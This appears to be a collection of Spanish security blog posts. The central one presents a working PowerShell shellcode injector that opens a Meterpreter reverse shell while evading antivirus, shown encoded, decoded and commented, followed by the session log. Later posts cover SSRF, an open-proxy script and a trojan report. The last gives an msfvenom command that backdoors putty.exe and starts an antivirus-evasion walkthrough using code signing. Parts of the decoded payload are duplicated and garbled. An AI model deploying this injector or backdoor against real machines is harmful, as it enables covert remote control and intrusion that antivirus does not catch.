4ACwAMAB4ADgAOQAsADAAeABjADMALAAwAHgANAA5ACwAMAB4ADgAOQAsADAAeABjADcALAAwAHgANABkACwAMAB4ADMAMQAsADAAeABjADkALAAwAHgANAA5ACwAMAB4ADgAOQAsADAAeABmADAALAAwAHgANAA4ACwAMAB4ADgAOQAsADAAeABkAGEALAAwAHgANAA4ACwAMAB4ADgAOQAsADAAeABmADkALAAwAHgANAAxACwAMAB4AGIAYQAsADAAeAAwADIALAAwAHgAZAA5ACwAMAB4AGMAOAAsADAAeAA1AGYALAAwAHgAZgBmACwAMAB4AGQANQAsADAAeAA0ADgALAAwAHgAMAAxACwAMAB4AGMAMwAsADAAeAA0ADgALAAwAHgAMgA5ACwAMAB4AGMANgAsADAAeAA0ADgALAAwAHgAOAA1ACwAMAB4AGYANgAsADAAeAA3ADUALAAwAHgAZQAxACwAMAB4ADQAMQAsADAAeABmAGYALAAwAHgAZQA3ADsAWwBCAHkAdABlAFsAXQBdACQAcwBjACAAPQAgACQAcwBjADYANAA7ACQAcwBpAHoAZQAgAD0AIAAwAHgAMQAwADAAMAA7AGkAZgAgACgAJABzAGMALgBMAGUAbgBnAHQAaAAgAC0AZwB0ACAAMAB4ADEAMAAwADAAKQAgAHsAJABzAGkAegBlACAAPQAgACQAcwBjAC4ATABlAG4AZwB0AGgAfQA7ACQAeAA9ACQAdwBpAG4ARgB1AG4AYwA6ADoAVgBpAHIAdAB1AGEAbABBAGwAbABvAGMAKAAwACwAMAB4ADEAMAAwADAALAAkAHMAaQB6AGUALAAwAHgANAAwACkAOwBmAG8AcgAgACgAJABpAD0AMAA7ACQAaQAgAC0AbABlACAAKAAkAHMAYwAuAEwAZQBuAGcAdABoAC0AMQApADsAJABpACsAKwApACAAewAkAHcAaQBuAEYAdQBuAGMAOgA6AG0AZQBtAHMAZQB0ACgAWwBJAG4AdABQAHQAcgBdACgAJAB4AC4AVABvAEkAbgB0ADMAMgAoACkAKwAkAGkAKQAsACAAJABzAGMAWwAkAGkAXQAsACAAMQApAH0AOwAkAHcAaQBuAEYAdQBuAGMAOgA6AEMAcgBlAGEAdABlAFQAaAByAGUAYQBkACgAMAAsADAALAAkAHgALAAwACwAMAAsADAAKQA7AGYAbwByACAAKAA7ADsAKQAgAHsAIABTAHQAYQByAHQALQBzAGwAZQBlAHAAIAA2ADAAIAB9ADsA6_powershell_injection.txt
Como véis esta ya todo preparado para ejecutarse en el equipo de la víctima. La opciones son claras: no usaremos perfil de usuario, se ejecutará oculto y no se mostrará prompt al usuario. La codificación del comando a ejecutar simplemente es una conversión Unicode+Base64. Si lo desofuscamos obtendremos:
powershell -noprofile -windowstyle hidden -noninteractive -EncodedCommand 
$code = '[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$winFunc = Add-Type -memberDefinition $code -Name "Win32" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$sc64 = 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,0x32,0x00,0x00,0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,0x01,0x00,0x00,0x49,0x89,0xe5,0x49,0xbc,0x02,0x00,0x01,0xbb,0xc0,0xa8,0xf9,0x80,0x41,0x54,0x49,0x89,0xe4,0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x4c,0x89,0xea,0x68,0x01,0x01,0x00,0x00,0x59,0x41,0xba,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,0x48,0x89,0xc2,0x48,0xff,0xc0,0x48,0x89,0xc1,0x41,0xba,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x48,0x89,0xc7,0x6a,0x10,0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,0xba,0x99,0xa5,0x74,0x61,0xff,0xd5,0x48,0x81,0xc4,0x40,0x02,0x00,0x00,0x48,0x83,0xec,0x10,0x48,0x89,0xe2,0x4d,0x31,0xc9,0x6a,0x04,0x41,0x58,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x48,0x83,0xc4,0x20,0x5e,0x6a,0x40,0x41,0x59,0x68,0x00,0x10,0x00,0x00,0x41,0x58,0x48,0x89,0xf2,0x48,0x31,0xc9,0x41,0xba,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x48,0x89,0xc3,0x49,0x89,0xc7,0x4d,0x31,0xc9,0x49,0x89,0xf0,0x48,0x89,0xda,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x48,0x01,0xc3,0x48,0x29,0xc6,0x48,0x85,0xf6,0x75,0xe1,0x41,0xff,0xe7;[Byte[]]$sc = $sc64;$size = 0x1000;if ($sc.Length -gt 0x1000) {$size = $sc.Length};$x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40);for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};$winFunc::CreateThread(0,0,$x,0,0,0);for (;;) { Start-sleep 60 };IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$winFunc = Add-Type -memberDefinition $code -Name "Win32" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$sc64 = 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,0x32,0x00,0x00,0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,0x01,0x00,0x00,0x49,0x89,0xe5,0x49,0xbc,0x02,0x00,0x01,0xbb,0xc0,0xa8,0xf9,0x80,0x41,0x54,0x49,0x89,0xe4,0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x4c,0x89,0xea,0x68,0x01,0x01,0x00,0x00,0x59,0x41,0xba,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,0x48,0x89,0xc2,0x48,0xff,0xc0,0x48,0x89,0xc1,0x41,0xba,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x48,0x89,0xc7,0x6a,0x10,0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,0xba,0x99,0xa5,0x74,0x61,0xff,0xd5,0x48,0x81,0xc4,0x40,0x02,0x00,0x00,0x48,0x83,0xec,0x10,0x48,0x89,0xe2,0x4d,0x31,0xc9,0x6a,0x04,0x41,0x58,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x48,0x83,0xc4,0x20,0x5e,0x6a,0x40,0x41,0x59,0x68,0x00,0x10,0x00,0x00,0x41,0x58,0x48,0x89,0xf2,0x48,0x31,0xc9,0x41,0xba,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x48,0x89,0xc3,0x49,0x89,0xc7,0x4d,0x31,0xc9,0x49,0x89,0xf0,0x48,0x89,0xda,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x48,0x01,0xc3,0x48,0x29,0xc6,0x48,0x85,0xf6,0x75,0xe1,0x41,0xff,0xe7;[Byte[]]$sc = $sc64;$size = 0x1000;if ($sc.Length -gt 0x1000) {$size = $sc.Length};$x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40);for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};$winFunc::CreateThread(0,0,$x,0,0,0);for (;;) { Start-sleep 60 };
Y poniendo el código un poquito en órden y entendiéndolo tendremos:
# Importa las funciones requeridas (VirtualAlloc, CreateThread y memset)
$code = '
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("msvcrt.dll")]
public static extern IntPtr memset(IntPtr dest, uint src, uint count);
';

# Añade el código CSharp como una clase reconocida por Powershell
$winFunc = Add-Type -memberDefinition $code -Name "Win32" -namespace Win32Functions -passthru;[Byte[]];

# Añade el payload de 64 bits (/pentest/exploits/set/src/powershell/reverse.powershell) como byte array
[Byte[]]$sc64 = 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,0x32,0x00,0x00,0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,0x01,0x00,0x00,0x49,0x89,0xe5,0x49,0xbc,0x02,0x00,0x01,0xbb,0xc0,0xa8,0xf9,0x80,0x41,0x54,0x49,0x89,0xe4,0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x4c,0x89,0xea,0x68,0x01,0x01,0x00,0x00,0x59,0x41,0xba,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,0x48,0x89,0xc2,0x48,0xff,0xc0,0x48,0x89,0xc1,0x41,0xba,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x48,0x89,0xc7,0x6a,0x10,0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,0xba,0x99,0xa5,0x74,0x61,0xff,0xd5,0x48,0x81,0xc4,0x40,0x02,0x00,0x00,0x48,0x83,0xec,0x10,0x48,0x89,0xe2,0x4d,0x31,0xc9,0x6a,0x04,0x41,0x58,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x48,0x83,0xc4,0x20,0x5e,0x6a,0x40,0x41,0x59,0x68,0x00,0x10,0x00,0x00,0x41,0x58,0x48,0x89,0xf2,0x48,0x31,0xc9,0x41,0xba,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x48,0x89,0xc3,0x49,0x89,0xc7,0x4d,0x31,0xc9,0x49,0x89,0xf0,0x48,0x89,0xda,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x48,0x01,0xc3,0x48,0x29,0xc6,0x48,0x85,0xf6,0x75,0xe1,0x41,0xff,0xe7;

# Determina que Powershell esta ejecutándose en 64 bits
[Byte[]]$sc = $sc64;

# Calcula el tamaño correcto para VirtualAlloc
$size = 0x1000;
if ($sc.Length -gt 0x1000) {$size = $sc.Length};

# Asigna una página de memoria. Esto sólo funcionará si el parámetro de tamaño (tercer parámetro) es al menos 0x1000.
# Asigna un bloque de memoria RWX
$x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40);

# Copia el shellcode a la región de memoria ejecutable
for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};

# Ejecuta el shellcode en su propio hilo
$winFunc::CreateThread(0,0,$x,0,0,0);

# zzz...
for (;;) { Start-sleep 60 };
Ahora sólo falta ejecutarlo en la máquina de la víctima...
[*] Sending stage (951296 bytes) to 192.168.249.1
[*] Meterpreter session 1 opened (192.168.249.128:443 -> 192.168.249.1:57165) at 2012-11-26 08:31:15 -0500
meterpreter > getuid
Server username: PANDORA\vmotos
y.. toc, toc... obtenemos una sesión de Meterpreter sin que el AV se haya inmutado :D 

No es un método nuevo, pero sigue siendo efectivo y con SET es sumamente sencillo ejecutarlo. No obstante, si queréis ahondar un poco más en la post-explotación de escenarios con Powershell, os recomendamos que echéis un vistazo a PowerSploit. En este proyecto encontraréis un 'Inject-Shellcode.ps1' mejorado y otros scripts que seguro os serán muy útiles durante un pentest. 

Fuentes: 
Exploiting Powershell's Features (Not Flaws)  
Social Engineering Toolkit: Bypassing Anti-Virus using Powershell

Ataques SSRF y sockets: buffet de vulnerabilidades

Imagina que tienes dos sistemas (sistema A y sistema B) que confían entre sí, es decir, que la comunicación entre ellos no está bloqueada por un firewall porque se tienen que transferir datos desde un sistema a otro. El sistema A es, por ejemplo, un portal corporativo accesible desde una red insegura como es Internet. El otro sistema es un ERP al que no se puede acceder directamente desde Internet, pero que confía en el portal corporativo. Este es el esquema típico en una empresa...

La idea de un ataque SSRF (Server Side Request Forgery, no confundir con CSRF) es encontrar algún tipo de servicio vulnerable en el sistema A, que puede reenviar peticiones maliciosas a la red interna y por lo tanto al sistema B. Así es como podemos superar los firewalls y sistemas IDS y explotar sistemas más seguros. Con una vulnerabilidad de este tipo podemos por ejemplo conseguir el escaneo de redes internas, el reenvío de peticiones HTTP, ataques de fuerza bruta contra el backend y, una de las más peligrosas, hacer tunneling XXE (Xml eXternal Entity).

Hace tiempo vimos en el blog un 0-day para una vulnerabilidad XXE en Postgresql de Onsec. Esta vez, vamos a ver la presentación de una ponencia que hicieron sus integrantes, Vladimir Vorontsov y Alexander Golovko, en la conferencia ZeroNights que tuvo lugar en Moscú los pasados 19 y 20 de noviembre, y en la que veréis la aplicación práctica de varios ataques SSRF usando sockets.

Eso sí, sacar el móvil porque dentro encontraréis un QR-Code que os llevará a un interesante script que explota un SSRF universal en PHP-FPM (FastCGI Process Manager) capaz de evadir safe_mode, disabled_functions, open_basedir, etc. Cualquier feedback sobre la explotación de esa vulnerabilidad será bienvenido :)


Script en Perl para mantener listas de proxies abiertos

Los proxies abiertos (y encadenados) pueden ser útiles para manterner el anonimato en Internet, casi siempre no con muy "buenos" propósitos ;)
¿Cómo encontrar proxies abiertos? Es fácil si sabes cómo... No en serio, ya sabéis que hay un montón de listas disponibles en Internet. Por ejemplo, diariamente se publican listas en pastebin.com. Otros sitios están dedicados al negocio de la recopilación de enormes listas como www.freeproxylists.com o www.xroxy.com e incluso este último proporciona actualizaciones vía RSS (XML). Por supuesto, la mayoría de ellos proponen pagar por sus servicios...

La cuestión aquí es la fiabilidad de los proxies abiertos publicados. xroxy facilita un indicador de fiabilidad (0-100%), pero muchas veces los proxies no están disponibles o rechazan las conexiones.

Xavier Mertens ha publicado un pequeño script en Perl para mantener una lista de proxies abiertos fucnionales. El script se llama oplb (Open Proxies List Builder) y se basa en el agregador PHP de RSS de xroxy.com. Los proxies se almacenan en una base de datos SQLite y el script mediante un cron chequea regularmente su disponibidad mediante el módulo perl WWW:ProxyChecker. Si no quieres obtener nuevos proxies publicados por xroxy.com también tienes un modo manual para generar y mantener tu propia lista:


$ ./oplb.pl --help
Usage: ./oplb.pl [--debug] [--dump] [--force] [--help]
                 [--reliability=percent] [--ttl=seconds]
Where:
--debug : Produce verbose output
--dump : Generate a list of reliable proxies (stdout)
--force : Ignore TTL and force a check of the xroxy.com RSS feed
--reliability=x : Define minimum reliability for proxies
--ttl=x : TTL for xroxy.com RSS feed update (default: 3600)


Por ejemplo, puedes crear un crontab para buscar nuevos proxies cada hora con una fiabilidad mayor al 90%:

*/15 * * * * oplb.pl --reliability=90 --ttl=3600


Para volcar la lista de proxies fiables obtenidos:

$ ./oplb.pl --dump --reliability=90
122.72.28.19:80
122.72.33.138:80
122.72.33.139:80
219.159.105.180:8080
196.1.178.254:3128
192.162.150.77:8080
88.85.108.16:8080
202.112.117.202:3128
59.172.208.186:8080
41.191.27.226:80
114.79.159.2:8080


Sólo son mostrados los proxies chequeados al menos una vez durante los últimos 3 días, una lista preparada para ser utilizada por otras herramientas...


Fuente: Manage an Efficient List of Open Proxies
Script: https://github.com/xme/oplb/blob/master/oplb.pl

Troyano utiliza Google Docs para comunicarse con su C&C

Los investigadores de Symantec han descubierto una pieza de malware que se aprovecha de Google Docs para comunicarse con su servidor de comando y control (C&C).

El malware es una versión del troyano Makadocs, que abre una puerta trasera en el ordenador infectado y trata de robar información. En su última versión, este malware utiliza Google Docs como un servidor proxy para conectarse a su C&C.

"Google Docs tiene una función llamada viewer que obtiene los elementos de otra URL y los muestra", escribió en su blog Takashi Katsuki de Symantec. "Básicamente, esta funcionalidad permite al usuario ver una variedad de tipos de archivos en el navegador. Violando las políticas de Google, Backdoor.Makadocs utiliza esta función para acceder a su servidor de C&C".

"Es posible que el autor del malware haya implementado esta funcionalidad en un intento de evitar ser descubierto mediante una conexión directa con el C&C", continuó el investigador. "La conexión con el servidor de Google Docs se cifra usando HTTPS, lo que hace difícil que sea bloqueada localmente. Google podría evitar esta conexión mediante el uso de un firewall."

Recordemos que no es la primera vez que utilizan métodos no tradicionales de comunicación con servidores C&C. Otros artefactos de malware han utilizado Twitter y Facebook para recibir instrucciones...

De acuerdo con Symantec, Makadocs ataca a los usuarios como un documento con formato de texto enriquecido (RTF) de Microsoft Word. El archivo malicioso no utiliza ninguna vulnerabilidad para instalarse, sino que se basa en la ingeniería social, domentó Katsuki. También explicó que por los intentos de convencer al usuario a ejecutarlo con el título y el contenido del documento, y que las pistas en el código le llevan a creer que el malware está principalmente dirigido a los que viven en Brasil.

El malware incluye código para detectar el sistema operativo utilizado por la víctima, incluyendo Windows 8 y Windows Server 2012.

"Esto no es necesariamente una sorpresa para los investigadores de seguridad, ya que siempre encuentra nuevo malware cuando los productos nuevos son liberados", escribió Katsuki. "Sin embargo, este malware no utiliza ninguna función especial exclusiva de Windows 8, y sabemos que este malware ha existido antes del lanzamiento de Windows 8. Sobre la base de estos hechos, creemos que este código debe ser una actualización del malware".


Fuentes:
Malware Targeting Windows 8 Uses Google Docs
Trojan Turns to Google Docs to Communicate With Command and Control 

Evasión de antivirus con ejecutables firmados

Continuamos con el estudio de distintas técnicas para la evasión de antivirus. En esta ocasión veremos un caso muy curioso en el que comprobaremos como la simple firma digital de un fichero ejecutable malicioso puede provocar su indetección.

¿Cómo? Pues las políticas de algunos motores de antivirus pueden excluir el análisis de un fichero simplemente por estar firmado para mejorar el rendimiento... si bien es más probable que, al añadir código al fichero durante este proceso, se vean afectadas las (frágiles) detecciones mediante firmas. Veamos los resultados.

Primero y según la Wikipedia, empezamos definiendo la firma de código como "el proceso de firmar digitalmente ejecutables y scripts para confirmar el autor del software y garantizar que el código no ha sido alterado o corrompido desde que fue firmado mediante el uso de un hash criptográfico.".

Las principales herramientas para firmar ejecutables son codesign en Mac OS X y singtool de Mozilla y Microsoft, aunque en esta entrada comenzaremos con Linux probando osslsigncode (OpenSSL-based signcode utility project), una herramienta multiplataforma basada en OpenSSL y libcurl capaz de firmar ficheros EXE/CAB y mediante la cual firmaremos nuestro fichero de pruebas: un ejecutable de Windows al que inyectaremos un payload malicioso con msfvenom:

msfvenom -p windows/meterpreter/reverse_https -f exe -k -x putty.exe LHOST=192.168.249.128 LPORT=443 >evilputty.exe
 
A continuación procederemos a descargar e instalar osslsigncode:
root@bt:/home/pruebas/avbypass# tar -zxvf osslsigncode-1.4.tar.gz 
osslsigncode-1.4/
osslsigncode-1.4/configure
osslsigncode-1.4/COPYING
osslsigncode-1.4/configure.ac
osslsigncode-1.4/Makefile.in
osslsigncode-1.4/aclocal.m4
osslsigncode-1.4/osslsigncode.c
osslsigncode-1.4/config.h.in
osslsigncode-1.4/missing
osslsigncode-1.4/Makefile.am
osslsigncode-1.4/README
osslsigncode-1.4/install-sh
osslsigncode-1.4/depcomp
osslsigncode-1.4/.gitignore
osslsigncode-1.4/TODO
osslsigncode-1.4/ChangeLog
root@bt:/home/pruebas/avbypass# cd osslsigncode-1.4

root@bt:/home/pruebas/avbypass/osslsigncode-1.4# ./configure
checking for a BSD-compatible install... /usr/bin/install -c
checking whether build environment is sane... yes
checking for a thread-safe mkdir -p... /bin/mkdir -p
checking for gawk... gawk
checking whether make sets $(MAKE)... yes
checking for gcc... gcc
checking whether the C compiler works... yes
checking for C compiler default output file name... a.out
checking for suffix of executables...
checking whether we are cross compiling... no
checking for suffix of object files... o
checking whether we are using the GNU C compiler... yes
checking whether gcc accepts -g... yes
checking for gcc option to accept ISO C89... none needed
checking for style of include used by make... GNU
checking dependency style of gcc... gcc3
checking how to run the C preprocessor... gcc -E
checking for grep that handles long lines and -e... /bin/grep
checking for egrep... /bin/grep -E
checking for ANSI C header files... yes
checking for sys/types.h... yes
checking for sys/stat.h... yes
checking for stdlib.h... yes
checking for string.h... yes
checking for memory.h... yes
checking for strings.h... yes
checking for inttypes.h... yes
checking for stdint.h... yes
checking for unistd.h... yes
checking minix/config.h usability... no
checking minix/config.h presence... no
checking for minix/config.h... no
checking whether it is safe to define __EXTENSIONS__... yes
checking for pkg-config... /usr/bin/pkg-config
checking pkg-config is at least version 0.9.0... yes
checking how to run the C preprocessor... gcc -E
checking whether ln -s works... yes
checking for a sed that does not truncate output... /bin/sed
checking whether make sets $(MAKE)... (cached) yes
checking for an ANSI C-conforming const... yes
checking for ANSI C header files... (cached) yes
checking whether time.h and sys/time.h may both be included... yes
checking sys/mman.h usability... yes
checking sys/mman.h presence... yes
checking for sys/mman.h... yes
checking for mmap... yes
checking for dlopen in -ldl... yes
checking for OPENSSL... yes
checking for LIBCURL... yes
configure: creating ./config.status
config.status: creating Makefile
config.status: creating config.h
config.status: executing depfiles commands

root@bt:/home/pruebas/avbypass/osslsigncode-1.4# make
make  all-am
make[1]: Entering directory `/home/pruebas/avbypass/osslsigncode-1.4'
gcc -DHAVE_CONFIG_H -I.      -g -O2 -MT osslsigncode.o -MD -MP -MF .deps/osslsigncode.Tpo -c -o osslsigncode.o osslsigncode.c
mv -f .deps/osslsigncode.Tpo .deps/osslsigncode.Po
gcc   -g -O2   -o osslsigncode osslsigncode.o -lcrypto   -lcurl  
make[1]: Leaving directory `/home/pruebas/avbypass/osslsigncode-1.4'

root@bt:/home/pruebas/avbypass/osslsigncode-1.4# make install
make[1]: Entering directory `/home/pruebas/avbypass/osslsigncode-1.4'
test -z "/usr/local/bin" || /bin/mkdir -p "/usr/local/bin"
  /usr/bin/install -c osslsigncode '/usr/local/bin'
make[1]: Nothing to be done for `install-data-am'.
make[1]: Leaving directory `/home/pruebas/avbypass/osslsigncode-1.4'

El siguiente paso será generar una clave privada RSA. Esta será de 2048 bits usando triple-DES:
root@bt:/home/pruebas/avbypass/osslsigncode-1.4# openssl genrsa -des3 -out clave.pem 2048
Generating RSA private key, 2048 bit long modulus
.............+++
..............................................+++
e is 65537 (0x10001)
Enter pass phrase for clave.pem:
Verifying - Enter pass phrase for clave.pem:
root@bt:/home/pruebas/avbypass/osslsigncode-1.4# file clave.pem
clave.pem: PEM RSA private key

Como véis el formato PEM es legible como texto ASCII:
root@bt:/home/pruebas/avbypass/osslsigncode-1.4# cat clave.pem 
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,DFBBA9AE6945EF61

YZloSP6qebhoghbTJjvEeQpZke5Urr6Rr09MENPoGLJd2CTBxl2Hpyasm7TWIcLV
zJEV6X9SETPxCRqp6uiiOLGWKZGx99//1fSrBClBqZ/ndi8Rd/RZCnn7k1OzpTls
UuoPbBG1fzDrhTTQtNcHh29WDDtftL5J3yO11jSQAust39zAMbcYdVKWAQyydN9C
Ut7ykKt9hgd0g1v7K9Uq2DDJ/VcHsNShOdNVBaElLe6H8oxf18nSE881PAUyixd9
vfe9jFuWpcY3GWbRh+/rHq3LXQaWXR4qx8gPdsyHwENrqg3xgMW3gEc/IC1QGwq+
K+akMmsgQdSQwxmC13OOsBw1KJyORkn4PuVIxRY8PBSwd/eFQcZnt+LIJ/W7kGT2
WCU523ixcfN4XfpGHb06DaRVsd5/WvODsYV7xs3taQa8kfW9HF5RNWs4s304qU/s
/emlv+mhscn6R9r7hzQe2J/qilZ/4wp6+M7t3RwbbyrdHKQqO8P+VF+c7Hy18Vah
dWinZEgQ+6SIzm8x54E35uKXquuhnE276mwJEXiFoQSVsO5JQRfGBLaHL03yiWxE
vXDyfIJi/zBDWL5ARQK4I0vVqZf2m71Dha4/KibCb2rfJYB9lqgstoOQq4ydszPE
SVB6AwplI3NDwISxoh8QxaVwgJvS9gHnQgzpyEpdG2pXOQR7vzhp481rOPeneI7z
XxXTjR3xfeh4fghQfF31RDn6kSK7MikFw3F1E1ZML2IxogvDsUrwRlzGh4pF9TMh
